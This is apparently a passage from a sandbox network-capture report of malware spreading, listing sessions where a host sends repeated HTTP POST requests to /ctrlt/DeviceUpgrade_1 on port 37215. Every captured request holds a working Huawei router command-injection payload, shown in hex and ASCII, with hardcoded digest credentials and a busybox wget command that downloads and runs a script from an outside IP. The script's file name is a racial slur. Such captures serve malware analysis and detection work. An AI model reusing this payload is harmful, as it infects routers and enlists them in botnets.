6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:11.406564951 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:12.782371044 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:15.629995108 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:21.261264086 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:32.267750025 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:54.792726040 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:39.842365980 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	41060	156.77.134.96	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:10.374887943 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	54438	156.247.31.110	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:10.584130049 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 